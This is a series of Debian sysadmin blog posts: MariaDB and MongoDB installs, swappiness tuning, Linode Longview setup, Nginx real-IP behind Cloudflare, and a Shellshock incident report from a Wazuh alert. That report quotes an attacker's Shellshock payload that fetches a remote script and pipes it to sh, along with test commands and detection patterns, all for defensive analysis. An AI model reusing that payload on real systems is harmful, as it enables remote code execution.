How to Install MariaDB on Debian 13 (Trixie) , Root Uses Password (Debian 12-style)

To install MariaDB on Debian 13 (Trixie), follow these steps (same rhythm as my Debian 12 guide, but updated for Debian 13).

Debian 13’s repo package is currently mariadb-server (1:11.8.3-0+deb13u1). (Debian Packages)

1. Update Package Index

Start by updating the package index to ensure your system has the latest information on available packages.

sudo apt update

(Optional but recommended)

sudo apt -y upgrade
sudo reboot

2. Install MariaDB Server

Use the following command to install the MariaDB server and client:

sudo apt install mariadb-server mariadb-client -y

3. Start and Enable MariaDB Service

Once installed, start the MariaDB service and enable it to start on boot.

sudo systemctl start mariadb
sudo systemctl enable mariadb

Check status:

sudo systemctl status mariadb --no-pager

4. Secure the Installation (force root password)

To improve the security of your MariaDB server, run the security script:

sudo mariadb-secure-installation
# legacy name (still common in tutorials)
sudo mysql_secure_installation
Code language: PHP (php)

MariaDB notes that from 10.4+, unix_socket auth is commonly applied by default, so many older tutorials are outdated. In our case, we want root password, so pay attention to the prompt. (MariaDB)

During this process, you’ll be asked to:

  1. Set a root password.
  2. Remove anonymous users.
  3. Disallow root login remotely.
  4. Remove test databases.
  5. Reload privilege tables.

Important (Debian 13 / modern MariaDB prompt):
If you see:

  • Switch to unix_socket authentication [Y/n]

Answer n (NO), because you want password-based root login. (MariaDB)

Then when asked to set root password, answer Y and set a strong password.

5. Test Root Login (Password)

Verify you can login using root + password:

mariadb -u root -p

If root is already using unix_socket (fix it)

If you accidentally selected unix_socket, you can switch root back to password auth.

Login locally (this still works if socket auth is enabled):

sudo mariadb

Then run:

ALTER USER 'root'@'localhost'
  IDENTIFIED BY 'YOUR_STRONG_PASSWORD';
FLUSH PRIVILEGES;
Code language: JavaScript (javascript)

Modern MariaDB root defaults can involve socket authentication, but ALTER USER is the supported way to change credentials/auth behavior. (MariaDB)

Exit:

exit;
Code language: PHP (php)

Test again:

mariadb -u root -p

6. (Optional) Configure MariaDB

You can edit the MariaDB configuration file for additional settings if needed. The main configuration file is located at:

sudo vi /etc/mysql/mariadb.conf.d/50-server.cnf

After making changes, restart MariaDB to apply them:

sudo systemctl restart mariadb

Your MariaDB server should now be up and running on Debian 13.

Debian 13, Make Your Server Stop “Hanging” Under Load with vm.swappiness=10

If you’ve ever had a small Debian server that technically is still alive, ping works, uptime is fine, but SSH becomes painfully slow and your apps feel like they’re moving through syrup, there’s a good chance you’ve met the quiet villain, disk swap.

Linux is incredibly smart about memory management, but on machines with limited RAM (1–4GB is the usual battlefield), it can sometimes start swapping earlier than you’d expect. And the moment that swapping becomes heavy, the server can feel like it’s frozen even if the CPU isn’t maxed out.

The fix often isn’t “add more swap” or “buy more RAM” (although those help). The fix is to teach the kernel a simple preference

Use RAM first. Use swap only when it’s really needed.

That preference is controlled by a kernel parameter called

vm.swappiness

What “swappiness” really means (in human terms)

Swappiness is a number that influences how aggressively the kernel moves memory pages out of RAM and into swap space.

  • Higher value > kernel is more willing to swap
  • Lower value > kernel tries harder to keep things in RAM

Most distros default to something around 60, which is generally fine for modern machines with plenty of RAM. But for small servers, especially those running databases, Node.js apps, Strapi, queue workers, or anything with bursts of memory usage, that default can be too eager.

The classic symptom looks like this

  • your app suddenly slows down
  • SSH input lags
  • “top” shows nothing dramatic
  • disk activity spikes
  • everything feels “stuck” until it recovers

That’s why a very common, practical baseline tweak is:

Set swappiness to 10.

It doesn’t disable swap. It simply lowers the priority of swap so your server stays responsive longer.

Before changing anything, check your current state

Start by confirming your current memory and swap situation:

free -h
swapon --show
cat /proc/sys/vm/swappiness

If you see swappiness is 60, you’re looking at the common default.

Set vm.swappiness=10 (immediate effect)

To apply it right now (until the next reboot)

sudo sysctl -w vm.swappiness=10

Then confirm

cat /proc/sys/vm/swappiness

At this point, Debian 13 will behave noticeably better under memory pressure: it will try harder to keep active application memory in RAM instead of pushing it out to disk.

Make it permanent on Debian 13

A reboot will reset the value unless you persist it. The clean Debian way is to add a sysctl drop-in

echo "vm.swappiness=10" | sudo tee /etc/sysctl.d/99-swappiness.conf
sudo sysctl --system
Code language: PHP (php)

Re-check

cat /proc/sys/vm/swappiness

Done. Debian will apply this automatically on future boots.

How to tell if it’s working

The best confirmation isn’t a number, it’s behavior. Your server should remain usable longer when traffic spikes.

If you want to watch swap activity live, install sysstat and use vmstat

sudo apt install -y sysstat
vmstat 1

Look at:

  • si = swap in
  • so = swap out

Ideally, those numbers stay at 0 most of the time, occasional swap usage is normal, constant swap in/out is where performance dies.

The important nuance for small memory: don’t remove swap blindly

When people feel swap pain, the first instinct is, “Okay, no swap at all.”

On small RAM machines, that can backfire.

Swap is still useful as a safety net. Without it, when memory runs out, Linux may trigger the OOM killer and terminate processes (sometimes the wrong one). So the best balance for most small servers is

  • Keep swap enabled
  • Lower swappiness so swap becomes “last resort”

That’s exactly what vm.swappiness=10 does.

If you truly want “no disk swap” but still want safety, the modern solution is zram (compressed swap stored in RAM). That’s a separate topic, but it’s worth it for tiny VPS nodes.

Suggested values (what I actually use in practice)

  • General small server (1–4GB RAM): 10
  • Database-heavy or latency-sensitive services: 1–10 (start with 10, then test)
  • If you still see heavy swap churn: consider zram, or add RAM

No one number is perfect, but 10 is a great baseline because it reduces swap pain without turning off the safety net.

Rollback (if you need to revert)

Temporary revert to a common default:

sudo sysctl -w vm.swappiness=60

Permanent revert:

sudo rm -f /etc/sysctl.d/99-swappiness.conf
sudo sysctl --system

Cheat sheet

# Check
free -h
swapon --show
cat /proc/sys/vm/swappiness

# Set now
sudo sysctl -w vm.swappiness=10

# Persist
echo "vm.swappiness=10" | sudo tee /etc/sysctl.d/99-swappiness.conf
sudo sysctl --system

# Observe swap activity
sudo apt install -y sysstat
vmstat 1
Code language: PHP (php)

Closing thoughts

On small-memory servers, performance issues often don’t come from CPU, they come from the kernel quietly shuffling memory pages onto disk. The machine is “up”, but the experience is awful.

vm.swappiness=10 is one of those small changes that turns a fragile VPS into a predictable one: fewer freezes, better responsiveness, less panic during spikes. It’s not magic, but it’s a solid baseline, especially if you run web apps and databases on limited RAM.

When “Auto Install” Breaks: Installing Longview Manually on Debian 12 (Production Safe)

Production has a very specific kind of silence. It’s not the calm silence of a system that’s healthy. It’s the suspicious silence of a system that hasn’t complained yet.

Nginx still serves pages. Your API still returns 200. The business dashboard looks green enough to lull everyone into optimism.

But you can feel it, response time is heavier than yesterday, load average is a little too proud, and the phrase “it’s probably fine” starts bargaining with your instincts.

That’s where monitoring stops being decoration and becomes operational hygiene.

LINODE Longview won’t fix incidents for you. It won’t rewrite bad code or undo bad habits. But it will help you stop guessing. When the server slows down, you want to know whether it’s CPU saturation, memory pressure, swap thrash, disk I/O wait, network saturation, or an Nginx connection pattern that hints at trouble before it becomes a headline.

And because production loves irony, the first trouble you might face is installing Longview itself.

The “auto installer” that sometimes isn’t automatic

The Cloud Manager usually gives you a one-liner like this

curl -s https://lv.linode.com/<GUID> | sudo bash
Code language: HTML, XML (xml)

In theory, one command, done.

In reality, two failure modes show up often. The first is anticlimactic, Invalid Installer Session, because that GUID is a session token and it can expire. There is nothing “stuck” on your server to cancel, the session is simply no longer valid.

The second is more annoying. The installer may trigger an interactive Debian dialog asking whether it should auto-configure Nginx.

If you’re using a console where TAB and arrow keys don’t reach the process (web consoles and some terminal layers can do this), you end up staring at a Yes/No prompt that refuses to move.

You press n, nothing happens. You press TAB, nothing moves. You press arrows, and the terminal prints escape sequences like a haunted typewriter.

When that happens, the right move is not to fight the prompt. The right move is to stop trying to be “automatic” on production and do the clean manual path.

What we’re building (production-safe)

This manual setup is designed to be boring in the best possible way. Longview installs cleanly on Debian 12. The agent registers properly using your Longview client key.

Nginx metrics are enabled via stub_status, exposed only on loopback, and isolated in a way that avoids colliding with whatever is already listening on 127.0.0.1:80.

The mindset is simple, visibility without collateral damage.

Step 0, confirm your OS

cat /etc/os-release
lsb_release -a 2>/dev/null || true
Code language: JavaScript (javascript)

Step 1, fix half-configured packages (if you previously aborted an installer)

If you escaped a stuck interactive prompt with Ctrl+C, make sure dpkg isn’t left hanging like this

sudo dpkg --configure -a
sudo apt -f install

It’s a small step, but it matters. Production deserves clean state before you add anything you expect to run quietly for months.

Step 2, add the Longview repository (the reason APT can’t find the package)

If apt install linode-longview returns “Unable to locate package,” it usually means Debian doesn’t know where the Longview package lives yet. You need the Longview repository.

Create the repo list file like this

sudo tee /etc/apt/sources.list.d/longview.list >/dev/null <<'EOF'
deb https://apt-longview.linode.com/ bullseye main
EOF
Code language: PHP (php)

Yes, that says bullseye. On Debian 12, this can be a pragmatic compatibility choice when the repo doesn’t publish a bookworm distribution.

Add the GPG key and update:

sudo curl -fsSLo /etc/apt/trusted.gpg.d/linode.gpg https://apt-longview.linode.com/linode.gpg
sudo apt update
Code language: JavaScript (javascript)

If you want to confirm APT can see the package like this

apt-cache policy linode-longview | sed -n '1,120p'
Code language: JavaScript (javascript)

Step 3, install and start Longview

sudo apt install -y linode-longview
sudo systemctl enable --now longview
sudo systemctl status longview --no-pager

If theres a dialog box, to choose yes or no, you can use TAB.

Logs are your quickest truth serum, run this:

sudo journalctl -u longview -n 50 --no-pager

Step 4, register the agent with your Longview key

From Linode Cloud Manager > Longview, create a Longview client and copy its key. Then store it

sudo mkdir -p /etc/linode
echo 'PASTE_YOUR_LONGVIEW_KEY_HERE' | sudo tee /etc/linode/longview.key
sudo chmod 600 /etc/linode/longview.key
Code language: PHP (php)

This is the handshake. If the key is missing or wrong, the service can run while the dashboard stays empty. That kind of “everything is running but nothing is working” is the quietest form of failure.

Step 5 — enable Nginx metrics safely (stub_status on a dedicated loopback IP)

This is where production experience should override convenience.

Many servers already have something responding on 127.0.0.1:80. Sometimes it’s the default Nginx “Welcome” page. Sometimes it’s an internal admin vhost. Either way, adding a new server block on the same local bind can create collisions or confusing defaults. So instead of binding stub_status to 127.0.0.1, bind it to another loopback IP, such as 127.0.0.100.

Loopback is a whole range, and using a dedicated loopback alias keeps the change isolated.

Create this file:

sudo tee /etc/nginx/conf.d/longview_status.conf >/dev/null <<'EOF'
server {
  listen 127.0.0.100:80;
  server_name localhost;

  location /nginx_status {
    stub_status;
    allow 127.0.0.1;
    deny all;
  }
}
EOF
Code language: JavaScript (javascript)

Test and reload (reload is the production-friendly habit)

sudo nginx -t && sudo systemctl reload nginx

Now verify the endpoint. Notice the address is not localhost and not 127.0.0.1.

curl -s http://127.0.0.100/nginx_status
Code language: JavaScript (javascript)

A successful response will look like this (sanitized example from a real run) like this

Active connections: <n>
server accepts handled requests
 <a> <h> <r>
Reading: <n> Writing: <n> Waiting: <n>
Code language: HTML, XML (xml)

That tiny block of text is the difference between “I hope this works” and “this works.”

Step 6, point Longview to the correct status endpoint

Edit:

sudo vi /etc/linode/longview.d/Nginx.conf

Set:

location http://127.0.0.100/nginx_status
Code language: JavaScript (javascript)

Restart Longview so it picks up changes.

sudo systemctl restart longview

Step 7, proof of life (publish-safe)

When Longview and stub_status are wired correctly, the validation is straightforward.

The Nginx endpoint should respond like this

curl -s http://127.0.0.100/nginx_status
Code language: JavaScript (javascript)

Longview should be active

systemctl status longview --no-pager

Logs should show clean start/stop cycles

sudo journalctl -u longview -n 20 --no-pager

If you include log output in public writing, mask hostname and PIDs:

Dec 18 06:47:54 <host> systemd[1]: Stopping longview.service...
Dec 18 06:47:54 <host> longview[<PID>]: Stopping Longview Agent...
Dec 18 06:47:54 <host> systemd[1]: Started longview.service...
Code language: CSS (css)

If you see “left-over process remains running after unit stopped,” don’t panic. On some installs, Longview is managed via an LSB init script under systemd. The warning is often more about service script behavior than actual breakage.

Operationally, the simplest rule is: prefer systemctl restart longview and avoid pkill unless you’re recovering from a truly stuck process.

What this solved (beyond “it installed”)

Yes, we installed Longview. But the real win is what this changes in operations.

It turns “why is it slow?” from a debate into a diagnosis.

It removes fragile dependencies on expiring installer sessions.

It avoids interactive prompts that can break depending on the terminal environment.

It enables Nginx metrics without editing your production vhosts, by using a dedicated loopback endpoint for stub_status.

And in production, that’s what you want: visibility without surprise. Because the most expensive resource in production isn’t CPU or RAM. It’s ambiguity.

Troubleshooting in 60 seconds (copy/paste)

If Longview is installed but you’re not seeing data, check the pipeline in this order, agent, key, service, nginx_status, integration config, logs.

systemctl status longview --no-pager
sudo ls -l /etc/linode/longview.key
sudo journalctl -u longview -n 80 --no-pager

If you enabled Nginx metrics, verify the endpoint first

curl -s http://127.0.0.100/nginx_status
Code language: JavaScript (javascript)

If Nginx isn’t loading config or something feels off

sudo nginx -t
sudo systemctl reload nginx

Confirm Longview points to the same endpoint:

cat /etc/linode/longview.d/Nginx.conf

Restart cleanly:

sudo systemctl restart longview
sudo journalctl -u longview -n 30 --no-pager

If APT can’t locate the package, do this.

cat /etc/apt/sources.list.d/longview.list
apt-cache policy linode-longview | sed -n '1,120p'
sudo apt update
Code language: PHP (php)

Closing, production deserves intention

I don’t hate automation. I hate automation that edits production configs invisibly, restarts services unexpectedly, and depends on UI prompts that might not work when you need them most.

Manual install, done once and done properly, is not anti-automation. It’s pro-control. It’s you telling the server: this belongs here, for a reason, and it will run the way you want it to run.

And once Longview is up, with Nginx metrics flowing, you get something quietly priceless, not just charts, but clarity. The kind of clarity that turns the next incident into a short story, not a long night.

Shellshock Attack, Detection, Analysis, and Why Wazuh Proved Its Power

Overview

At 02:04:43 UTC, 7 November 2025, our Wazuh SIEM raised a critical level-15 alert,

Rule 31168, “Shellshock attack detected”

This alert originated from an Nginx access log on agent, proxy-sg2-deb-12-pro-proxy-xxxx (IP 1xx.xxx.xxx.xxx). The source of the request was 193.26.115.195 (Netherlands).

Wazuh immediately identified the payload as an active Shellshock exploit attempt (CVE-2014-6271).

But here’s the twist, this wasn’t just an attack, it also became a perfect test to validate how powerful, precise, and reliable Wazuh’s detection engine is when protecting modern Debian-based infrastructures.

What is a Shellshock Attack?

Shellshock (CVE-2014-6271, aka Bashdoor) is a vulnerability discovered in 2014 in the Bash shell, one of the core command interpreters in Unix and Linux systems.

It occurs when Bash incorrectly executes code appended to an environment variable containing a function definition.

In short, attackers can inject malicious commands through headers, environment variables, or scripts, and Bash might execute them automatically.

Example of a vulnerable call.

env x='() { :; }; echo Vulnerable!' bash -c "echo test"
Code language: JavaScript (javascript)

If the system is vulnerable, it will echo both lines.

Vulnerable!
test

That means the arbitrary command (echo Vulnerable!) was executed, a serious flaw.

The Actual Payload Caught by Wazuh

The malicious request seen in the access log looked like this.

193.26.115.195 - - [07/Nov/2025:02:04:42 +0000] "GET / HTTP/1.1" 200 615 "-" 
"() { :; }; /bin/bash -c \"(wget -qO- http://74.194.191.52/rondo.qre.sh||
busybox wget -qO- http://74.194.191.52/rondo.qre.sh||
curl -s http://74.194.191.52/rondo.qre.sh)|sh\"& # [email protected]"
Code language: PHP (php)

The attacker tried to run /bin/bash and pull a remote script (rondo.qre.sh) from a U.S. IP (74.194.191.52), then pipe it into sh for execution, a classic Shellshock infection chain.

Fortunately, it failed. Wazuh caught the pattern instantly using its built-in decoder for web-access logs and MITRE ATT&CK correlation:

MITRE TechniqueDescription
T1068Exploitation for Privilege Escalation
T1190Exploit Public-Facing Application

Why This Incident Matters (Even in 2025)

Shellshock is more than a decade old, but it’s still active in global scan campaigns.

Attackers use automated scripts that spray these payloads across the internet, looking for forgotten or unpatched systems, especially small proxies, routers, IoT devices, or legacy CGI applications.

In our environment, this served as a live validation of how Wazuh’s log-based intrusion detection and correlation engine performs under real-world conditions.
The system:

  • Parsed Nginx logs automatically
  • Matched pattern-based signatures
  • Mapped it to MITRE ATT&CK tactics
  • Issued a level-15 alert instantly

No tuning, no manual regex, just clean detection, proving Wazuh’s reliability.

Indicators of Compromise (IOCs)

TypeValue
Attacker IP193.26.115.195 (Netherlands)
Remote Host74.194.191.52
Malicious Scriptrondo.qre.sh
Payload Pattern() { :; }; /bin/bash -c …

Block or monitor these IOCs if you see them in other logs.

Immediate Response & Mitigation

  • Block the attacker IPs sudo iptables -I INPUT -s 193.26.115.195 -j DROP sudo iptables -I OUTPUT -d 74.194.191.52 -j REJECT
  • Verify Bash version and patch if necessary sudo apt update && sudo apt install --only-upgrade bash env x='() { :; }; echo vulnerable' bash -c "echo test" # should only print: test
  • Inspect for any secondary impact sudo grep -R "rondo.qre.sh" /var/log sudo find /tmp /var/tmp -type f -mmin -60 sudo crontab -l
  • Harden the web layer
    • Disable legacy CGI modules.
    • Use reverse proxy sanitization for headers.
    • Deploy a Cloudflare or Nginx rule: if ($http_user_agent ~* "\(\)\s*\{\s*:\s*;\s*\};") { return 403; }

Wazuh as a Real-World Defense Validator

This case became more than just a blocked exploitm, it was a stress test for the Wazuh stack.
Key takeaways from this live validation:

  • Detection accuracy, The signature perfectly matched the payload, with zero false positives.
  • Alert enrichment, GeoIP, MITRE mapping, PCI-DSS, and NIST tags were automatically attached.
  • Central visibility, The event appeared instantly in the Wazuh dashboard, showing confidence in the Elastic integration pipeline.
  • Reliability, Even with low system load, real-time detection worked flawlessly, no lag, no parsing delay.

It proved that Wazuh isn’t just “working”, it’s operationally dependable for 24×7 perimeter defense.

Post-Incident Hardening

Moving forward,

  • Integrate Fail2ban or Ferm rules to block patterns automatically.
  • Restrict outbound HTTP connections from proxies or web servers.
  • Continuously update Wazuh rules (/var/ossec/etc/rules/local_rules.xml) to reflect recent IOCs.
  • Add a test vector for Shellshock during security drills, it’s a reliable way to confirm Wazuh correlation works as expected.
  • Log and alert whenever unusual User-Agent or Referer headers contain wget|curl|busybox|bash -c.

Reflection

A single outdated exploit attempt can tell us two stories.

One, the internet never stops scanning, and two, our defense stack works.
This incident reaffirmed the reason why tools like Wazuh remain invaluable in layered architectures, open-source visibility, immediate correlation, and verifiable reliability.

Even as the threat landscape evolves, having a platform that instantly recognizes a decade old exploit reminds us, real security isn’t about what’s new, it’s about what still works.

Fixing Real Client IP on Nginx When Using Cloudflare + Linode NodeBalancer

Why your logs suddenly show 192.168.255.x — and how to fix it properly

When everything sits behind Cloudflare, real-IP handling in Nginx is usually straightforward, trust Cloudflare’s IP ranges, read CF-Connecting-IP, and $remote_addr becomes the actual visitor’s address.

That simplicity disappears the moment you introduce a Linode NodeBalancer in front of your server.

Suddenly your logs show something like:

192.168.255.46 - - “GET / HTTP/1.1”

No visitor IP. No geolocation, No rate-limit accuracy, No security context.

This article breaks down why this happens and how to build a clean, universal, future-proof Nginx real-IP setup that works for

  • Sites behind Cloudflare only
  • Sites behind Cloudflare + Linode NodeBalancer
  • Mixed environments with many domains and applications

This is the configuration I now use across my infrastructure — simple, robust, and consistent.

The Real Cause, One Missing Trusted Hop

Let’s look at what changes when you add NodeBalancer.

Before

Visitor → Cloudflare → Nginx

Nginx sees

  • Source IP > Cloudflare edge
  • Visitor IP > inside header CF-Connecting-IP

Everything works After

Visitor → Cloudflare → Linode NodeBalancer → Nginx

Nginx now sees:

  • Source IP: 192.168.255.x (private LB network)
  • Cloudflare header exists, but is ignored

Why?

Because Nginx will only trust forwarded IP headers when the source is listed in set_real_ip_from.

Cloudflare is trusted, but the NodeBalancer private network isn’t, so Nginx throws away the real IP and uses the LB’s address instead.

The fix is shockingly simple, but must be done properly.

The Correct Strategy, Centralize the Trust Logic

Instead of putting real-IP logic inside each site config, it’s far cleaner to:

  • Place all trusted proxies (Cloudflare + NodeBalancer) in a single global config
  • Extract visitor IP using only one directive, globally
  • Keep per-site configs minimal and focused on proxying upstream

This will ensures

  • All domains behave consistently
  • Adding new sites requires zero IP logic
  • Changes to Cloudflare/Linode ranges only happen in one place
  • Backends always receive the correct visitor IP

Step 1, Create a Global Real-IP File

/etc/nginx/conf.d/real-ip.conf

# Trust Linode NodeBalancer private network
set_real_ip_from 192.168.255.0/24;

# Trust Cloudflare IPv4 ranges
set_real_ip_from 173.245.48.0/20;
set_real_ip_from 103.21.244.0/22;
set_real_ip_from 103.22.200.0/22;
set_real_ip_from 103.31.4.0/22;
set_real_ip_from 141.101.64.0/18;
set_real_ip_from 108.162.192.0/18;
set_real_ip_from 190.93.240.0/20;
set_real_ip_from 188.114.96.0/20;
set_real_ip_from 197.234.240.0/22;
set_real_ip_from 198.41.128.0/17;
set_real_ip_from 162.158.0.0/15;
set_real_ip_from 104.16.0.0/13;
set_real_ip_from 104.24.0.0/14;
set_real_ip_from 172.64.0.0/13;
set_real_ip_from 131.0.72.0/22;

# Trust Cloudflare IPv6 ranges
set_real_ip_from 2400:cb00::/32;
set_real_ip_from 2606:4700::/32;
set_real_ip_from 2803:f800::/32;
set_real_ip_from 2405:b500::/32;
set_real_ip_from 2405:8100::/32;
set_real_ip_from 2a06:98c0::/29;
set_real_ip_from 2c0f:f248::/32;

# Extract true visitor IP
real_ip_header CF-Connecting-IP;
real_ip_recursive on;
Code language: PHP (php)

This becomes your single source of truth.

You never repeat these lines in any site config again.

Step 2, Make Sure Nginx Loads It Globally

Your /etc/nginx/nginx.conf should have

include /etc/nginx/conf.d/*.conf;
Code language: PHP (php)

Still inside http {}, add a readable access log format so you can verify the result

log_format main '$remote_addr - $http_cf_connecting_ip - $http_x_forwarded_for - $host "$request"';
access_log /var/log/nginx/access.log main;
Code language: JavaScript (javascript)

This makes debugging clear and transparent.

Step 3, Keep Per-Site Configs Clean and Minimal

Your site config should not contain any real-IP directives anymore.

A typical TLS vhost becomes

server {
    listen 443 ssl;
    server_name example.com;

    ssl_certificate     /var/app/ssl/example.com.crt;
    ssl_certificate_key /var/app/ssl/example.com.key;

    access_log /var/log/nginx/example.com.access.log;

    location / {
        proxy_pass http://localhost:3000;

        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;

        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
    }
}
Code language: PHP (php)

Simple, Deterministic and Zero duplication.

Step 4, If You Use NodeBalancer TCP Mode + Proxy Protocol

If you enable “TCP” + “Proxy Protocol v2” on Linode LB, update your listen directive:

listen 443 ssl proxy_protocol;

But do not change the global real-IP logic.

You still want the visitor IP from

CF-Connecting-IP

Proxy Protocol is only useful if you want the Cloudflare edge IP, which is rarely needed for apps.

Step 5, Test the Results

Reload

sudo nginx -t
sudo systemctl reload nginx

Then watch the logs:

tail -f /var/log/nginx/access.log
Code language: JavaScript (javascript)

You should now see:

  • $remote_addr = real visitor IP
  • $http_cf_connecting_ip = same IP
  • No more 192.168.255.x

This applies consistently across all domains, whether they use the LB or not.

Final Thoughts

Handling real IPs becomes messy only when multiple proxy layers enter the picture. The mistake most people make is scattering real-IP directives across different site configs.

That works until the first load balancer enters the system, then logs break, security breaks, and analytics break.

By centralizing trust and extracting the real client IP once, you build an Nginx setup that

  • Works cleanly with Cloudflare, Linode NodeBalancer, and with both combined
  • Avoids duplicated logic, keeps every domain consistent and makes future expansion simple

This unified approach keeps your infrastructure predictable and your logs honest, just the way it should be.

Resizing a Linode Volume on Debian 12, Part 2

When you increase a Linode Block Storage volume’s size in the Cloud Manager, the added capacity doesn’t automatically appear inside your Linux system. You need to let the kernel detect the change and then expand the filesystem so it can use the new space.

Previously I create article by umount firts, this one no need to umount because a new more modern Linux kernel version.

The following steps apply to Debian 12 and assume you’re using an ext4 filesystem on a device such as /dev/sdc, mounted at a generic directory like /mnt/data.

1. Check if the kernel detects the new size

After resizing the volume in Linode Cloud Manager, log in to your instance and verify whether the kernel already sees the larger capacity:

lsblk -o NAME,SIZE,FSTYPE,MOUNTPOINT | grep -E '^sdc|/mnt/data'
Code language: JavaScript (javascript)

If the output shows the new size (for example sdc 80G ext4 /mnt/data), you can continue. If it still shows the old size, rescan the device manually:

echo 1 | sudo tee /sys/class/block/sdc/device/rescan
Code language: PHP (php)

2. Expand the filesystem (ext4)

Modern Linux kernels allow online resizing of ext4 filesystems, so you can grow it while it’s mounted:

sudo resize2fs /dev/sdc

This command safely extends the ext4 filesystem to fill all available space on the disk.

3. Verify the new capacity

Once resizing completes, check that the mounted filesystem now reflects the full size:

df -h /mnt/data

You should see output similar to:

Filesystem      Size  Used Avail Use% Mounted on
/dev/sdc         79G  8.5G   67G  12% /mnt/data
Code language: JavaScript (javascript)

Notes

No downtime is required for ext4 on modern Debian kernels. If resizing fails or you prefer to validate the filesystem offline, unmount it first:

sudo umount /mnt/data
sudo e2fsck -f /dev/sdc
sudo resize2fs /dev/sdc
sudo mount /mnt/data

For XFS filesystems, use sudo xfs_growfs /mnt/data instead of resize2fs.

Final check

To ensure consistent mounts after reboot, use stable device IDs rather than /dev/sdX names:

ls -l /dev/disk/by-id/ | grep Linode_Volume

Then update your /etc/fstab entry to use the /dev/disk/by-id/ path for that volume.

Resizing a Linode Block Storage volume requires two key steps, expanding the volume in Cloud Manager and then growing the filesystem inside your Debian 12 instance.

With resize2fs, you can do it live, safely, and without unmounting the disk.

MongoDB 8.0, Debian 13 Trixie, and the Quiet Satisfaction of Getting It to Work

On paper, it’s not the most straightforward combination. MongoDB hasn’t officially blessed Debian 13 yet, so you don’t just copy a line from the docs and call it a day.

MongoDB on Debian 13 not supported yet
MongoDB on Debian 13 installation is not supported yet

You have to be a little more deliberate, use the Debian 12 (bookworm) repository, add the key properly, let apt complain once, then teach it to trust what you’re doing.

It’s a small journey, but that’s exactly the kind of technical ritual that can bring clarity when everything else feels scattered.

There’s a certain peace in doing things step by step. First you clean old mistakes. Then you lay a fresh base.

Then, finally, you turn the service on and watch it run, and somewhere between sudo rm and systemctl status, you realize this is not just about a database server. It’s also about reclaiming a tiny piece of control over your day.

In case you want to walk the same path, here are the exact steps I used to make MongoDB 8.0 run happily on Debian 13 Trixie inside WSL, with authentication enabled and ready to be used from apps or tools like MongoDB Compass.

Step 1, Clean up any broken MongoDB repository

Before anything else, I cleaned up old, half-configured MongoDB entries. That’s the technical version of clearing the desk before starting new work.

In the terminal

sudo rm /etc/apt/sources.list.d/mongodb*.list 2>/dev/null
sudo rm /usr/share/keyrings/mongodb-server-8.0.gpg 2>/dev/null
sudo apt update
Code language: JavaScript (javascript)

If apt was complaining about an unsigned MongoDB repo or a missing keyring file before, this usually stops that noise.

It’s like telling the system, “Forget everything you think you know about MongoDB. We’re starting over.”

Step 2, Create the keyring and import the MongoDB 8.0 key

Next, I created the keyring directory and imported the official MongoDB 8.0 GPG key. This is what lets apt verify that the packages it downloads are legit.

sudo install -d -m 0755 /usr/share/keyrings

curl -fsSL https://pgp.mongodb.com/server-8.0.asc | \
  sudo gpg --dearmor -o /usr/share/keyrings/mongodb-server-8.0.gpg
Code language: JavaScript (javascript)

Then I checked that the file actually exists

ls -l /usr/share/keyrings/mongodb-server-8.0.gpg

When that file is there, it feels like placing a real key in the right drawer. You know later systems will depend on it, but right now it’s just a quiet building block.

Step 3, Add the MongoDB 8.0 repository (bookworm on Trixie)

MongoDB doesn’t yet ship a repository specifically labeled for Debian 13 Trixie, so the trick is to use the Debian 12 (bookworm) repo. It’s not officially perfect, but for a development environment in WSL, it works.

I added this line to a new .list file

echo "deb [ signed-by=/usr/share/keyrings/mongodb-server-8.0.gpg ] http://repo.mongodb.org/apt/debian bookworm/mongodb-org/8.0 main" | \
  sudo tee /etc/apt/sources.list.d/mongodb-org-8.0.list > /dev/null
Code language: PHP (php)

Then just to be sure, I read it back

cat /etc/apt/sources.list.d/mongodb-org-8.0.list
Code language: PHP (php)

One simple line. A tiny bridge between a database vendor and a rolling Debian release.

Step 4, Update apt and install MongoDB 8.0

Now, the familiar moment of truth

sudo apt update

This time, apt ran without yelling about unsigned repositories or missing keyrings. That’s when you know the foundation is finally solid.

Then came the main installation

sudo apt install -y mongodb-org

At this point, MongoDB 8.0 is on the system, but not yet part of the everyday rhythm. That comes with services and configuration.

Step 5, Start and enable mongod as a service (inside WSL)

Debian 13 in WSL can run systemd if it’s enabled in your WSL configuration. Assuming systemd is available, I wired MongoDB into it:

sudo systemctl enable --now mongod
systemctl status mongod

Seeing active (running) on that status line is always a small, quiet win. Not dramatic. Just satisfying.

If systemd isn’t enabled in your WSL setup yet, you can either enable it in /etc/wsl.conf and restart WSL, or temporarily run MongoDB manually:

sudo mongod --config /etc/mongod.conf

But the long-term comfort comes when systemctl takes over and you don’t have to think about it every time you open a shell.

Step 6, Check that MongoDB is listening on the expected port

To make sure MongoDB is actually listening, I checked the open ports:

ss -tulpen | grep 27017

You want to see something that shows LISTEN on port 27017, usually bound to 127.0.0.1 or 0.0.0.0. That’s the heartbeat of the database, running quietly in the background, waiting for someone to talk to it.

Step 7, Configure bindIp and basic network behavior

Next, I opened the main MongoDB configuration file:

sudo nano /etc/mongod.conf

In the net section, there’s usually something like this:

net:
  port: 27017
  bindIp: 127.0.0.1
Code language: CSS (css)

If I only want to connect from inside WSL and from the Windows host using localhost, 127.0.0.1 is enough and safer.

If I want MongoDB to be reachable from other machines on the network (for example, another VM), I change it to:

net:
  port: 27017
  bindIp: 0.0.0.0
Code language: CSS (css)

That’s more open, so it should be combined with proper firewall rules on Windows and on the host environment. After editing, I restarted the service:

sudo systemctl restart mongod
systemctl status mongod

This is the moment where the database quietly accepts its role: local only, or open to a wider world.

Step 8, Enable authentication and create an admin user

By default, MongoDB often starts in a mode where anyone who can connect can do anything. That might feel convenient, but it’s like leaving your house door unlocked because it’s easier than carrying keys.

So I created a dedicated admin user and turned on authorization.

First, I opened the Mongo shell:

mongosh

Inside the shell, I switched to the admin database and created a user

use admin

db.createUser({
  user: "admin",
  pwd: "change_this_to_a_strong_password",
  roles: [
    { role: "root", db: "admin" }
  ]
})
Code language: CSS (css)

Then I exited:

exit
Code language: PHP (php)

Next, I enabled authorization in the config file:

sudo nano /etc/mongod.conf

And added or edited this section:

security:
  authorization: enabled

Then I restarted the service again

sudo systemctl restart mongod

Now, MongoDB will not let anyone do anything without logging in properly. It’s a small additional step every time you connect, but it’s also a statement, this data matters.

